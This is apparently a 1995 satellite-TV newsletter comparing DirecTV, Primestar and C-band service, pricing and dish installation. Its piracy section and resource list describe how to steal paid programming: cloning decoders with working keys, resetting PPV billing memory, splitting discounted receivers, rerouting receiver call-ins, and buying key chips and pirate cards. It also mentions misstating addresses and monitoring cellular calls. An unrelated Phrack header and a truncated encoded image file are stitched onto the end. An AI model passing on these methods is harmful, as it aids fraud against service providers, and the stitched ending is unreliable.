GM Hughes DirecTV is a venture involving GM's Delco Electronics and Hughes Aircraft. The two have put about $750 million into the business while Hubbard Broadcasting, a service provider has added $150 million, including $25 million from Dow Jones. RCA has pledged $100 million. RCA has exclusives rights to manufacture the hardware for the first 1 million systems. The DSS brand system is owned by Thomson Consumer Electronics of Paris. Sony will also manufacture the dish and receiver systems after RCA

sells the first million. They expect to have their system on the market in June. The $699 list price of the basic system is currently holding firm, because of demand. Thomson Consumer Electronics has been offering the systems free to purchasers of TCE (RCA) widescreen TV's at Sears, Circuit City, etc. in the Denver, LA, Chicago and Atlanta markets. The Thomson/Hughes system is unique in offering movies in widescreen format. That is why the RCA CinemaScreen TV's have not moved well until now.

GM Hughes DBS system launched this past summer and only rolled out nationally in September. By mid October over 100,000 systems had been sold. Over 3,000 are now being sold per day and Thomson has reported sales of over 500,000 systems as of the week before Christmas. This represents sales 10‑15% ahead of projections. Hughes predicts there will be 3 million systems in use by mid 1996 and 10 million by the year 2000. The break even point is 3 million systems. RCA is currently manufacturing 100,000 systems /month. GM Hughes is a company which has survived the downsizing in the defense industry. Of its $14 billion estimated 1994 revenue, 41% is derived from its defense business which includes Tomahawk cruise missiles. About 37% comes from its automotive electronics business which includes air bag sensors, car radios and instrument panels, mostly for GM cars. DirecTV is only part of the telecommunications division which includes a mobile cellular business and the leasing of satellite transponders. When GMH has sold 3 million systems. DirecTV will be a $3 billion/yr business of which $1 billion will be operating profit.

Programming

Available Programming is conveniently divided between two separate sources, forcing most consumers to subscribe to both. The programming carried by DirecTV and USSB is unique to each and each has a monopoly. USSB supplies ANC (All News Channel), VH1, Lifetime, Nick, Flix, Cinemax, Cinemax2, Cinemax West, TMC, TMC West, HBO, HBO2, HBO3, HBO West, Showtime, Showtime2, Showtime West, MTV, and the Comedy Channel. The Essentials package for $7.95/month includes Lifetime, the Comedy Channel, Nick, Nick at Night, MTV, VH‑1 and the All‑News Channel. A package of all HBO and Cinemax feeds costs $10.95. A similar package with all Showtime /TMC channels plus Flix also costs $10.95. Showtime Plus includes the Showtime/TMC package together with Flix and the Essentials package for $24.95. Entertainment Plus includes all USSB channels for $34.95/month.

DirecTV supplies the remaining channels and PPV (pay per view) programming. All subscribers receive ESPN, the Cartoon channel, USA, CNN, Trio (family entertainment and news), Headline News, Discovery, C‑Span, TNT, TBS, TNN, TCM (Turner Classic Movies), Bloomberg Direct (financial news), and MuchMusic (Canadian MTV), Disney, and Music Choice (formerly Digital Cable Radio) which consists of 28 channels of CD quality commercial‑free genre music ranging from symphonic to rap.

Personal Choice subscribers may choose 10 additional channels from E!, the Weather Channel, Newsworld International (Canadian with BBC), Sci‑Fi Channel, Court TV, Family and Travel channels, C‑Span 2, CNN International, the Learning Channel, CNBC, the Learning Channel, Country Music Television, A&E, or the Encore multiplex which includes Encore plus six channels dedicated to love stories, mysteries, westerns, childrens' programming, action, and true stories. All the above channels are available in the Total Choice package for $29.95. Channels available la carte include Starz for $1.80, Playboy for $9.95 and TV Asia for $5.95. A new addition is the Golf Channel on channel 304 for $6.95/month.

Subscribers to the sports package currently receive eight regional sports networks for $7.95/month. These include Home Team Sports, Home Sports Entertainment, KBL Sports, Pro Am Sports System, Prime Sports, Prime Ticket, SportSouth and Sunshine Network. DirecTV says it will expand the number of regional networks it carries but no definite plans have been announced. Packages including all NHL and NBA games are also available. A minimal package which includes only access to PPV and Bloomberg Direct costs $5.95 per month.

Approximately 54 channels are devoted to PPV movies and there are preview and special events channels as well. Approximately 36 movies are available at any given time and they cost $2.99 each. Subscribers receive a $2.50 credit per month which may be applied to the cost of any PPV or special event. DirecTV has just signed an agreement with Twentieth Century Fox so its films will also be available on PPV.

DirecTV plans to launch DBS‑3 late this summer and it will add at least 30 more channels. The satellite was originally scheduled for launch in December but mechanical problems have caused a delay. The two existing satellites provide a total capacity of about 175 channels.

Features

The basic $699 system supports only one master TV. That means that all televisions in the house must be tuned to the same channel. Unlike cable, it is not possible to watch one channel in the living room, while the kids watch another in the recroom and the wife watches yet a different channel in her coven. The deluxe system consists of two receivers and it supports two independent television receivers or a TV and a VCR. It consists of a dual feed LNB mounted on the 18" dish and two receivers. The cost is $899 plus $650 for the second receiver. Both receivers have a wideband data port which will supposedly be used for HDTV. The deluxe receiver includes a slow speed 9 pin port for future data services and a second set of baseband audio/video output jacks. Other than these differences and the ability to subscribe a second receiver at reduced rates, the two receivers are the same.

Those who wish to record programs must leave the receiver on the channel to be recorded. It has no ability to change channels and it cannot be programed to do so or even to turn on at a certain time. According to Thomson, the ability of the RCA system to change channels was omitted for

legal reasons. The rights for recording through the on‑screen guide belong to StarSight. Their system is available as a stand‑alone box for cable or over‑air use or as an integrated part of a television, VCR or C‑band satellite receiver. It is expected that the time recording feature will be added when the legal problems are resolved. According to a company spokesman, the lack of the recording feature will not hurt initial sales since purchasers will be rural and will be more concerned with programming than with features. For now, those who wish to have two independently controlled TV's or a TV and a VCR must purchase the deluxe system. Even then, the second receiver must be left on the channel to be recorded.

Local channels are not available from either of the DBS services or C‑band. In the case of the DBS services, it

is illegal for them to offer local channels. The FCC imposed this regulation so that DBS would not compete with over‑air services. DirecTV does offer a package of the net works including ABC, NBC, CBS, FOX and PBS for $3.95/month. It is intended only for those in the "white" areas of the country where over‑air reception is not possible. Those who have subscribed to cable within the last 90 days are not eligible to receive it, even if over‑air reception is impossible. A loophole is that those who live in an area where over‑air reception is possible may subscribe to the network package if over‑air reception is not of acceptable quality in their own judgement. Typical problems include severe ghosting and having reception blocked by mountains or buildings, To the best of our knowledge, there is no verification process to determine whether a DBS subscriber is also a cable subscriber. Those who qualify to subscribe to the package will receive ABC from NY, CBS from Raleigh, FOX from Chicago, and PBS from Denver. This package costs 3.95/month.

Both RCA and Primestar receivers include Macrovision copy protection chips. Neither system employs them at this time. Their use is dictated by copyright holder (movie studio) demands. In addition to the studios there is another force at work which could, in the future, limit the right of individuals to record programs. A draft paper from the Information Infrastructure Task Force recommends that digital transmission be redefined as a type of distribution like publishing, which should be controlled by the copyright holders. This proposal, if unchallenged could cause the Commerce Department to change copyright laws and make the recording of any programming illegal. All products which defeat copy protection schemes would become illegal.

The right to purchase and use a VCR is covered by the first sale doctrine and was won in the Sony Betamax case in the '80s. Americans currently have the right to record programming based on both the first sale and fair use doctrines.

If the ability of consumers to record programming is not supported in the future, for whatever reason, DBS subscribers will be the first to find out.

The on‑screen program guide is a user friendly feature. It provides program and movie descriptions up to 24 hours in advance using a dedicated button. There are two favorite program lists, each of which can store 10 channels. It is also possible to choose programs by categories which include sports, movies, specials, series, news, and shopping. Accessing program information several hours in advance is actually quite slow, due to memory limitations, but the feature is still valuable.

Other major features of the system are sound and picture quality. The sound is of CD quality. Picture quality is superior

to that available on Video CD's. During the fall there were problems with the system. These include freeze frames, which caused the picture to freeze for a few seconds, and digital artifacts during shot changes. At times the picture would break up, leaving large rectangular colored blobs on the screen. These problems have decreased considerably during December and January and are now infrequent. The DSS system is currently using MPEG‑1 and will switch over to MPEG‑2 later this year. This may improve signal quality even more. Changes will be made to headend encoders and not to subscribers' equipment.

Installation

The two DSS satellites are co‑located in geostationary orbit at 101 west longitude. That is over the equator, south of Texas. There must be a clear line of sight from the dish to the satellite. The signals cannot pass through trees, leaves in summer or buildings. The dish may be mounted behind a glass window in a patio for example. This can cause reception problems during extreme weather. It should not be mounted less than 20 feet from overhead power lines.

The dish may be mounted directly on a 1 1/4" I.D. Schedule 40 (1 5/8" O.D.) preferably galvanized pipe. The system includes a mounting foot so it may also be mounted on the side of a structure, on a roof or chimney or patio deck. The surface must be stationary. Mounting on a roof is least desirable. A roof mount can cause damage to the roof and cause leaks. Wind loading can cause hundreds of pounds of force on the screws securing the mounting foot. Chimney mounts kits are also available as an option.

The dish must be grounded where it is mounted and the coaxial cable must be grounded using a grounding block where it enters the residence. One RG‑6 cable is used for the connection between the dish and receiver. If the cable will be longer than 112 feet, a TVRO bullet amplifier is recommended though we have heard of 150 foot runs with no problem. Keeping the mounting pole or mounting foot plumb is the key to making dish alignment easy, especially for those who have no experience installing satellite systems. DSS uses an on‑screen menu system and homing signal to align the dish. A dish which is not plumb negates the value of this user‑friendly system.

The single best feature of DSS is the setup system. It is so user‑friendly that even a novice can set the dish up himself. It is also this feature which makes the system truly portable. No electronic test equipment except a television receiver is necessary to align the dish. According to DirecTV, more than 40% of purchasers are doing their own installations. There is no reason why an average person cannot install the system. There are no components which can be harmed or destroyed by a botched attempt. The worst that can happen is that it might be necessary to have someone complete the job.

It is economical to install another dish with an LNBF

(Low Noise Block amplifier with Feedhorn) at the cottage and simply transfer the receiver back and forth. Several companies are now manufacturing DBS related products. These include a patio style mount, a roof bubble so the dish may be aligned from inside the home, and portable DBS kits which, in conjunction with a Power inverter, allow the dish to be used nearly anywhere in North America.

The setup menu is a sub menu of the main/options menu. The dish pointing menu allows the installer to receive elevation and azimuth settings based on either zip code or latitude and longitude. Entering the zip code produces a screen which provides the elevation setting as marked on the LNB support arm. The azimuth or direction setting is the compass reading used to point the dish. It is already corrected for magnetic deviation. When we installed the system in Buffalo, the screen said to set the elevation to 35 and the azimuth to 220.

The computer will not calculate latitude settings greater than 55 or less than 20, corresponding to locations in Mexico and Canada. Some individuals in those regions who are installing systems simply project a north to south line on a map to the closest US town. Then they call the local U.S. Post Office to get the zip code, claiming that they recently moved there but can't find their zip code. This will provide the azimuth information but not the elevation. The elevation setting on the dish changes approximately 1 per degree of change in latitude. After the dish has been positioned, the signal meter menu is brought up. It is an option on the dish pointing menu. There is a homing signal which starts out as a short intermittent tone before the signal is locked. As the dish is zeroed in on the signal, the tone increases in length until it becomes continuous. When moving the dish it is important to wait two beeps in order to see and hear the results of the movement. It is a common error for installers to continuously move the dish around without waiting. In addition to the audible tone, the signal meter screen will state how many

degrees and in what direction the dish should be moved. When we installed our dish the screen said to move it 12 west. Once the digital signal is locked the screen says "locked onto signal."

Once the signal is locked on, the system must be fine tuned. This is done by moving the dish east until the signal is lost and then to the west. These positions are marked on the mounting pole. The dish should then be positioned in the center of these two marks. The same is done with the elevation setting. Some individuals simply watch the signal strength meter and obtain the maximum reading. We had a final signal strength of 85 when we set up our dish.

The set up system allows for a large margin of error. The original dish settings don't have to be very accurate.

It is because of the homing signal that anyone can easily do the installation. The installer guide which comes with the system is very well written and is very helpful. There is an accessory kit available which includes a videotape covering installation but we don't believe it is necessary. It is important to ground the system properly, for safety and insurance reasons. The only available free programming consists of DirecTV barker channels and Bloomberg Direct (business news) on channel 245. Having the board authorized takes only a few minutes. USSB provides the first month of programming free.

Primestar

Another option for some of those interested in a dish system is Primestar. One of the big advantages of Primestar is the low startup and maintenance cost. It isn't necessary to purchase their equipment. The rental cost is included in the monthly fee. Subscribers do not have to pay for future system upgrades which will include HDTV. Prices for installation and programming packages vary across the country because they are set by the individual cable distributors, not Primestar. It is possible to purchase a Primestar system for approximately $900 but there is no financial reason to. Do‑it‑yourself installations are not permitted and range in cost from $149‑299.

Primestar was founded in 1990 by GE, Continental Cablevision, Cox Cable, Westinghouse Broadcasting, TCI, Time Warner, and Comcast Cable. It was the first quasi DBS service and was launched on GE's Satcom K‑1 Ku‑band bird. By 1994 Primestar had only signed 70,000 customers in 48 states. Until last year it broadcast 11 analog video plus six audio channels in the 11.7‑12.2 GHz FSS (Fixed Satellite Service) band. Currently, Primestar uses 14 transponders powered at 47 watts

each. Late last year they swapped out their analog B‑MAC decoders and replaced them with Digicipher 1 decoders. There are now more than 100,000 Primestar customers.

Primestar Programming Packages

The Economy Pak, for $29.95 is a 30 channel service which includes CNN, C‑Span, Discovery, Cartoon Network, Family Channel, TLC (The Learning Channel), TBS, TVT, USA, Headline News, Prime Sports Network (14 regional sports channels),and where available, the nework stations including ABC, NBC, CBS, Fox and PBS. The $36.95 Value Pak adds A&E, Country Music TV, Lifetime, TNN, Sci‑Fi Channel, TCM, Weather Channel, and the Encore multiplex. The Family Pak is a 76 channel package which includes all of the above and adds three HBO's, two Cine max channels and Disney East and West. HBO, Cinemax, Disney TV Japan are also available la carte for $8.95 each. Prime Cinema PPV movies cost $4‑5 each. X*Press Executive and X*Press Change, which offer computer delivered news, sports, stock, and entertainment information are also available for $59.40/year plus the cost of the computer interface. Primestar does not yet have contracts with Viacom so it does not offer Showtime/TMC, MTV and Nickelodeon. In March, Playboy, Starz, CNNI, QVC, CNBC, and the Golf channels will be added to the lineup. Other channels are being negotiated as well, including the DMX music service. Primestar is currently limited to about 77 channels. A network package from Primestar, for those who qualify to receive it, costs $5.95.

The dish used by Primestar is approximately 36 inches in diameter while the RCA dish is 18 inches. This may matter in some neighborhoods where a dish is considered a blight on the community. The size of the Primestar dish precludes it from being mounted on a chimney, the side of a house or patio railing for example. The system is not portable. While the DSS satellites operate at 120 watts of power, Primestar operates at 47 watts so it requires a larger dish. On the other hand it does not suffer from rain fade problems or the glitches DSS has had.

Primestar does not have an on‑screen menu system like DSS does. It carries the Prevue channel which only provides basic pro gram information up to 90 minutes in advance. It simply scrolls through the channels, and displays only channel and program title. Primestar charges $3.95 for PPV movies and the system reports monthly purchases via modem, the same way DSS does.

Primestar is somewhat more friendly to those who wish to record programming. It has several timers which can be used to program the receiver to change channels at a certain time. It also has one favorite channel list which can contain any number of channels. Both systems have data ports though Primestar currently has data services available.

The service is considering a move from its current medium power satellite to one or more high power satellites, or it may choose to add a high power satellite to the one it has now. Either way is promises to offer 150 channels by 1996.

Primestar uses the Digicipher 1 and the picture appears to be of slightly higher quality than the DSS picture. The sound produced by both systems is excellent. Both systems will be upgraded this year. Digicipher 1 IRD's (Integrated Receiver Decoders) will be upgraded to the Digicipher II in 1995. Customers will receive sidecar modules by mail and will simply plug them in. Digicipher II will allow greater and higher quality compression so more channels may be carried. While Primestar is using a proprietary compression system developed by General Instrument, GI claims that Digicipher II can be made MPEG II compatible. DSS is currently using MPEG 1 but they will soon upgrade their system to the new MPEG II standard. MPEG II is the accepted compression standard. According to DirecTV the all necessary modifications

will be performed to encoders at the headend.

How DBS may Effect C‑Band

C‑Band systems receive more than just subscription programming. There are many channels in the clear (unscrambled) including Canadian TV channels offering American sitcoms. The Caribbean Superstation, NASA, Main Street TV, E! the Entertainment Channel, Court TV, C‑SPAN 1 and 2, The Health Channel, Nostalgia, America's Talking, National Empowerment TV, The Learning Channel, and lots of religious and home shopping channels are all available free of charge. With a C/Ku band dish it is possible to receive at no cost approximately 120 FM stereo radio stations from across the country. This includes jazz from Chicago, Christian contemporary from LA, talk radio and nearly any other existing format. It is also possible to get backhaul feeds of most TV series. Episodes of these series are uplinked a week or two before they are broadcast nationally so the cable companies have time to insert the commercials which will be shown during broadcast. Dish owners who watch the backhaul feeds see a blank screen during the time provided for the insertion of commercials. In addition, there are live news feeds from all across

the country. When there is a disaster anywhere in the world it is possible to view the live feeds sent to North America by CNN et al. In addition, local news departments will uplink certain local clips for other stations across the country. It is interesting to watch raw news feeds or press conferences in the after noon and then see the network anchors apply their spin when they narrate the story on the national news.

Those who purchase additional equipment can receive additional services. An SCPC receiver costs about $400 and permits users to listen to approximately 1500 radio services which are delivered by SCPC (single channel per carrier) at frequencies

lower than those covered by a conventional satellite receiver. These include syndicated radio programs like Paul Harvey, base ball games, muzak, etc. Using a short wave receiver in conjunction with a satellite receiver it is possible to monitor cellular phone calls. Usually only one side of the conversation

is heard because the other party is on a different frequency. Other available services include WEFAX (weather fax) RTTY and satellite data. Using special receivers and paying subscription fees it is possible to receive services like internet feeds or real time stock market quotes.

The entertainment programming available by C‑band is essentially the same as that available by DBS but it is considerably cheaper. A VideoCipher II PLUS decoder and a subscription is required . There are some regional network affiliates from places like Denver, Chicago, Raleigh, LA, Dallas, Boston, and NY which are not available on DBS. This year the Digicipher II decoder will be introduced. It will be able to decode both analog and digital signals. This does not mean that the analog Videocipher II PLUS decoder will become obsolete. There are now over 2 million subscribed VC II PLUS units and that is not a market which any programmer would abandon. Current BUD (big ugly dish) owners and those considering buying one should know that space is scarce on C‑band satellites. Hughes Communications has just sold the last of its capacity on two of its satellites, one of which has not been launched yet and there are several satellites scheduled for retirement in 1995. The shortage is even filling up Ku band transponders. This is happening at a time when there are literally hundreds of programming channels ready to launch.

Transponder space on Galaxy 7 currently costs $180,000 per month. and because of the shortage, transponders which would ordinarily cost $50,000 are going for $150,000. The solution for cable programmers is digital compression. At 4:1 compression it is only necessary to rent 1/4 of a trans ponder and it is a new technology so compression ratios will improve even more over time. This will allow even more channels to be carried per satellite transponder.

Many BUD owners who remember when a $150 Videocipher II was "the only decoder you'll ever need" and who have upgraded to a $399 Videocipher II PLUS within the past couple of years and who now face the prospect of upgrading again to a Digicipher II in order to receive digital programming are interested in any alternative they can find. One example of programming which is available in digital format but which is not offered to dish owners is the Encore Multiplex. In addition to Encore, there are six niche channels devoted to mysteries, westerns, love stories, action, true stories/dramas and youth programming.

Several companies are betting that consumers will choose to add DBS receiving equipment to their existing systems rather than upgrade to Digicipher II. It is likely that the price of DBS equipment will decrease when Sony starts manufacturing systems this summer. It is hoped that programming prices which are now significantly higher than C‑band may decrease slightly as well.

Norsat is manufacturing a C‑band/LNBF and so is Pro Brand International. They are also producing a C/Ku band/LNBF. These products will allow a BUD owner to continue to use his dish for all satellite delivered programming without having to replace his analog satellite receiver with a new digital/analog model. This will be the first time BUD owners will have had a choice in what decoding equipment they might purchase.

Those now contemplating the purchase of a dish system can wait until Digicipher II is released this year, or they can consider a big dish with an analog receiver to receive the free programming, and a DBS system for subscription services. It is

clear that an analog receiver with a Videocipher II decoder is, by itself, a dated product.

Piracy

While equipment manufacturer General Instrument claims that the Videocipher II data stream was shut off over a year ago, it is still being used for some services.

These include regional sports networks including various feeds from Home Sports Entertainment, Sports Channel,

ADC, Pacific Sports Network, and Sunshine, AMC, Nick E, Life E&W, WWOR, MTV, Discovery E&W, VH1, CMTV, ESPN E&W, CNN W, TBS W, WGN, CNBC W, TNT W, TNN W, USA E&W, CHN,

A&E W, Youth (Canadian). These services are still being transmitted in VCII mode because not all cable companies have installed VCII PLUS decoders at their headends.

The working keys for these channels change every few days and they are subject to an on‑going ECM (electronic countermeasure) program so audio is not always available for all channels.

There is software available on BBS's which allows users

to receive audio and video on these channels. Authorized seed keys are necessary. The net effect is to clone the VCII to the decoder which is really using those keys. EPROM chips loaded with working keys are available for about $50 and they work until GI extracts the keys from them and shuts them off. The most practical way to obtain audio and video for these services is by connecting a modem to the VCII decoder. Every few days the user can push a button on his remote control to download the latest keys. This method has been abandoned by most individual users, because the long distance charges, hardware upgrades, and aggravation is not worth the cost. There are some satellite dealers who still use the system for their customers.

Many of those who still use their VCII boards, employ them to obtain video‑only on PLUS encoded adult channels. There are several available, ranging from softcore to XXX. They include Adam & Eve, Cupid, Exxxtasy, LVTN, Network 1, Playboy, Spice 1, Spice 2, and TV Erotica , Video‑only chips are available and EPROM files are available on many BBS's.

Some individuals pirate the 10 TVN PPV movie services on T3 on an 029 PLUS board by taking a "snapshot" of the RAM at the start of the month. They watch all the movies they want to during the month, and then at the end of the month they reload the data captured at the start of the month. When the unit is polled for PPV purchases it shows none so they are not billed. There is a period of approximately 10 days at the end of the cycle when no movies are watched. Many individuals misuse the Surewrit 9 test device for this purpose. We have a file on the BBS called Plusmap.txt

for those interested in studying further.

Oak

Oak encrypted services on Anik include the network feeds from Detroit, and sports, movie news, and Canadian channels which offer mostly U.S. programming. Discovery is now Oak encrypted as well. The Oak board is available in a VCII cardcage and some sources are selling these for $299. What they are selling is stock boards which must be subscribed. In order to clone the board to a working ID, the microprocessor must be changed to a Mostek. Oak is not subject to the ECM's which affect the VCII datastream.

B‑MAC

There is a relatively new B‑MAC product. It is a keypad which allows users to manually enter working keys instead of using a modem system to download them. Unlike the system being sold in Canada, this system does not encrypt the basic working keys which are for the Hi‑Net service. Individuals may obtain keys from any source, instead of having to rely on one supplier. Keys for special PPV events are encrypted. The complete U.S. system including decoder, software and keypad sells for approximately $1600.

DSS

According to RCA, the receiver must be connected to a phone line. Where the deluxe system is installed, they say each receiver must be connected to the same phone line via the 1200 baud modem. (The unit also has a 19,200 modem). The phone line is not used to transmit authorization data to keep the receiver running. The receiver calls out monthly to report what pay‑per‑view movies have been ordered. It is also used to verify the location where the system is installed.

Some individuals install the units at remote cottages or RV's where there is no phone. In this case, DirecTV has a backup system so individuals without phones may order PPV events manually by calling their 800 number. There is a $2 charge in addition to the cost of the movie for this service.

As long as the unit is not connected to a phone line, the system operators have no idea where it is, so it could be in Canada, Mexico or the Caribbean. Some U.S. individuals who wish to obtain local blacked out sporting events use a billing address different from where the unit is installed, for this purpose. It is still necessary to purchase the NFL, NHL, NBA, etc. package and the unit must be connected to a phone line. Mail drops usually advertise under Mail Boxes or Telephone Answering Services.

Those who purchase a deluxe system including a second receiver, obtain a programming discount for the second receiver. The primary receiver pays full price and DirecTV charges $1.95 extra and USSB charges $1 per month for programming received on the second receiver. The second receiver receives whatever programming is subscribed to on the primary receiver.

Some dealers split systems. They place the primary receiver in a friendly location. The secondary receiver is typically sold to a Canadian. The dealer charges the full price for programming but only has to pay $1.95 plus $1. This can amount to a profit of $60 per month, every month per customer and is more profitable than VCII piracy was for many of them. We have heard that some installers have been requested to connect both receivers to the single phone line during authorization and that they have done that before splitting them up. We have also heard that some individuals have told DirecTV during the authorization process that the primary receiver would be located at their residence and the secondary would be located at a remote cottage and they have received the discount but they are not able to order PPV on the secondary receiver. Some individuals are selling a unit which intercepts the 800 number the receiver is programmed to dial and routes the call to a U.S. number where the 800 number call is then placed. These units will be necessary this fall when the football season begins, at least for those who don't have a pirate smartcard.

The dialers being sold now cost $125 and Canadian consumers who purchase them are unaware that hundreds of their

calls are being routed through the same US phone number. It is only a matter of time before this system is shut down. Advanced Technologies will soon market a system which allows the user to set up his own network. Another company is developing a system which allows the user to manually enter the phone number being used. The only other problems we have heard regarding this type of gray market piracy is when foreigners have ordered PPV events while having the receiver connected to a phone line. In some cases they have received mail messages to their dishes requesting that they contact DirecTV to verify that their systems are in the U.S. Then they have been told that if DirecTV receives calls from a foreign area code their programming will be discontinued. Some do not order PPV events for this reason and others order manually.

The major news which occurred just before we went to press is that the RCA system has just been hacked. According to reliable sources a nearly six month effort on the part of a U.S.‑European coalition has lead to the compromise of the system. Current plans involve the issue of 4 tiers of pirate cards. The Blue card will offer only basic programming and will cost approximately $150. The next level card will include the subscription movie channels, the next level card will also include the sports channels together with packages like the NFL etc. The Gold card will be a global access card which will allow access to all services and will include a limit of $500 in PPV program ming. Note that the pirates are now limiting the amount of PPV events their customers will receive. To prevent the pirate card from being pirated it will employ a kill routine so that once it is inserted into the card slot in the receiver it may not be removed without dumping the memory.

It will be necessary for those who engage in this type of piracy to mail in their existing cards or otherwise supply their unit ID in order to provide necessary information. Each pirate card will be unique to a specific receiver. Programming will be done in Canada where it will ostensibly not be illegal, at least for now. Three Canadian companies will essentially have franchises and will receive the necessary hardware/software.

Release of the cards is expected around April, depending on two factors. The developers want to wait for the release of the series 10 Videocrypt cards in Europe. At this time the 09 series pirate cards are being heavily ECM'd and a new release is imminent. One company supplies the encryption algorithms for both U.S. and European cards. The U.S. card is based on the 09 series card in Europe. U.S. developers don't want their card reversed and counter ECM'd in the 10 series so they choose to wait. They also want an installed base of about 800,000 systems to make it more costly for system operators to issue a new series of cards. They have said in interviews that it costs them up to $35/card if they have to issue a new series because of a breach of security.

In the past, we have sometimes been able to alert our readers several months in advance to events which would transpire. When we have done that, some entrepreneurs would immediately offer products which did in fact not yet exist. This is March 11, 1995 and there is no pirate card for the RCA system available anywhere at this time nor will there be in the very near future. We will be allowed to see the system somewhere offshore and we will report our findings. Do not send money to anyone. We will have more DBS news next time together with more discussion of the issues involved. Do not send money to anyone.

Resources

Satellite dish dealers are experts in the reception of satellite delivered programming. hey are skilled in installation, maintenance and repair. Many now carry both DirecTV and Primestar. They are able to discuss the relative merits of each system. A bonus is that many satellite dealerships are "mom and pop" type businesses so potential customers are often able to deal directly with a proprietor who possesses knowledge and experience. Their biases: Some dealers have not been able to obtain dealerships for DirecTV and others refuse to carry it because they see it as a threat to their businesses. A dealer makes about 1/3 profit or $1000 on the sale of a $3000 full view (C‑band) system. The profit on a $699 DirecTV system is about $120 plus a possible installation charge. Primestar is a little more lucrative for the dealer than DirecTV. Primestar dealers profit from the sale or lease of the systems, from installation (which is mandatory) and they also earn commissions from programming ordered by their customers. Commission Salesmen working at consumer electronics stores are useless as sources of information.

Miniature Satellite Dishes is a Frank Baylin book which discusses the DirecTV and Primestar systems. There is information on the basics of satellite communications,

the receive site, a comparison of DBS systems, signal security, programming, installation instructions, and connecting components to the system. There is some theory.

The book is a good primer. It is easy to read and it is well worth the cost for those who want to know more. Baylin Publications. 303.449.4551.

Orbit is a C/Ku‑band programming guide. It includes both free and subscription programming, audio services and backhaul feeds. You can see what is available on a C‑band system. The ads for various programmers allow comparison of the cost and availability of programming with DBS. C‑band programming is substantially cheaper. VCRS decoders are available at a discount when purchased with programming. Competing publications include Satellite TV and OnSat. These are available at most magazine stores.

Satellite Direct is a monthly programming guide. It divides each 8 hours worth of programming into two facing pages. It is cleanly laid out and easy to follow. It is available at most magazine stores.

Consumer Hot Lines. DirecTV's answer line for those who have questions about programming or equipment is 800.264.4DTV. USSB's number is 800.633.2820. Those with questions about Primestar equipment or programming may call 800.932.2007.

Bomarc Services is producing a set of schematics for the RCA receiver. They are contract reverse engineers and they have thousands of schematics available for all kinds of electronic devices including most cable boxes. A catalog costs 4 stamps. Bomarc Services, Box 1113, Casper, WY, 82602. No phone.

S&J Electronics is one of the few companies left which still carries VCII test devices. They have video only chips for those who want to view PLUS video‑only on a VCII. They also have chips which allow VCII users to receive audio/video on the 28 services which still employ the VCII data stream. They are also a supplier of B‑MAC's and the keypad

system. 201.728.3217.

Triangle Products is the major supplier of Oak decoders. They are available in VCII card cages for those who don't wish to use free‑standing units. They also carry SureWrit 9, which is a diagnostic test device for those studying VCII or 029 PLUS technology. They have raw B‑MAC's as well. 616.399.6390.

Travel Sat is advertised as a satellite in a suitcase. Included is a complete RCA DSS satellite system, a 16 inch fibreglass dish, hardware components made of stainless steel (to prevent corrosion) and a signal strength meter so a television receiver is not required to set up the system. They also manufacture a roof mount for RV's. 800.270.1692.

Eagle Aspen DBS To‑Go consists of a plastic case containing a 14 inch dish, a DBS compatible LNBF, hardware kit, compass, and cables. Options include a power inverter. It is suited for those who want to mount a permanent dish at the cottage and simply move the receiver back and forth, or for those who want a portable satellite system. 404.423.7072.

TCC BBS is an originating source of satellite TV piracy information, test files and working keys for the VCII. The sysops are active in answering questions. They are also knowledgeable in other areas of hacking, electronics and computers. BBS 809.394.9001.

New Advanced Technologies is another B‑MAC supplier, they have test chips for the VCII and they will soon market a DBS dialer which will permit the user to set up his own network. 514.458.3063.

Your New Windows Background (Part 1)

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 17 of 22

begin 644 NORAD.JPG M_]C_X``02D9)1@`!``$`:@!J``#__@`752U,96%D(%‑Y<W1E;7,L($EN8RX`X M_]L`A``+"`@*"`<+"@D*#0P+#A$=$Q$0$!$D&1L5'2HE+2PJ)2DH+S5$.2\R# M0#,H*3M0.T!&2$Q,3"TX4UE22EA$2DQ)`0P‑#1$/$2(3$R)),"DP24E)24E)! M24E)24E)24E)24E)24E)24E)24E)24E)24E)24E)24E)24E)24E)24E)24G_D MQ`&B```!!0$!`0$!`0```````````0(#!`4&!P@)"@L!``,!`0$!`0$!`0$`_ M```````!`@,$!08'"`D*"Q```@$#`P($`P4%!`0```%]`0(#``01!1(A,4$&D M$U%A!R)Q%#*!D:$((T*QP152T?`D,V)R@@D*%A<8&1HE)B<H*2HT‑38W.#DZM M0T1%1D=(24I35%565UA96F‑D969G:&EJ<W1U=G=X>7J#A(6&AXB)BI*3E)66) MEYB9FJ*CI*6FIZBIJK*SM+6VM[BYNL+#Q,7&Q\C)RM+3U‑76U]C9VN'BX^3E\ MYN?HZ>KQ\O/T]?;W^/GZ$0`"`0($!`,$!P4$!``!`G<``0(#$00%(3$&$D%1D M!V%Q$R(R@0@40I&AL<$)(S‑2\!5B<M$*%B0TX27Q%Q@9&B8G*"DJ‑38W.#DZF M0T1%1D=(24I35%565UA96F‑D969G:&EJ<W1U=G=X>7J"@X2%AH>(B8J2DY255 MEI>8F9JBHZ2EIJ>HJ:JRL[2UMK>XN;K"P\3%QL?(R<K2T]35UM?8V=KBX^3E& MYN?HZ>KR\_3U]O?X^?K_P``1"`&A`H`#`2$``A$!`Q$!_]H`#`,!``(1`Q$`Y M/P#T'%*![5N9"XHQ0`8HQ0`N*7Z4`)]W&>,TM``*2@!5^E+BF(3TIU`!CBB@P M!<4N.:0PQ1B@0H%*%XR>!2``<'@?C7*>%M0N+G7O$5I+(3!:W6(4(^X"6SCZP MXS2ZE=#J>U+BF2)BBF``4NSG/3ZT``"COGZ4A)'3CZ4`)GFDQQ0(3M2=A3`,> M<\4NSCG`H`#M';/UI,GMQ]*`$VD]!1L`ZD#Z4"&$C^[Q[TF2>],!I%‑(Z4"$= M‑(>O2F`TBDVT`(1ZTTCFF(0C\*0B@!A%)M.:8AK#%‑VTP&L.*:1Z4"&D=:;BV M@!I'!%‑VTP&$4PK3$‑V_E32*8#&&*:10(81^‑,(YI@(!AJ6@!A%,/ZU0AA&/$ M:FXH`]%QQ3@*XSJ#%&,4`&/6@#%`"T9`&:`%`YS^5':@!,<]**``4M`!_C2C> MK0`8XHQS3$.(H'6D,`*<%.,]!2`7@=/S‑)WYH`3!KAO!SD^‑?%B?]/`//^\U"

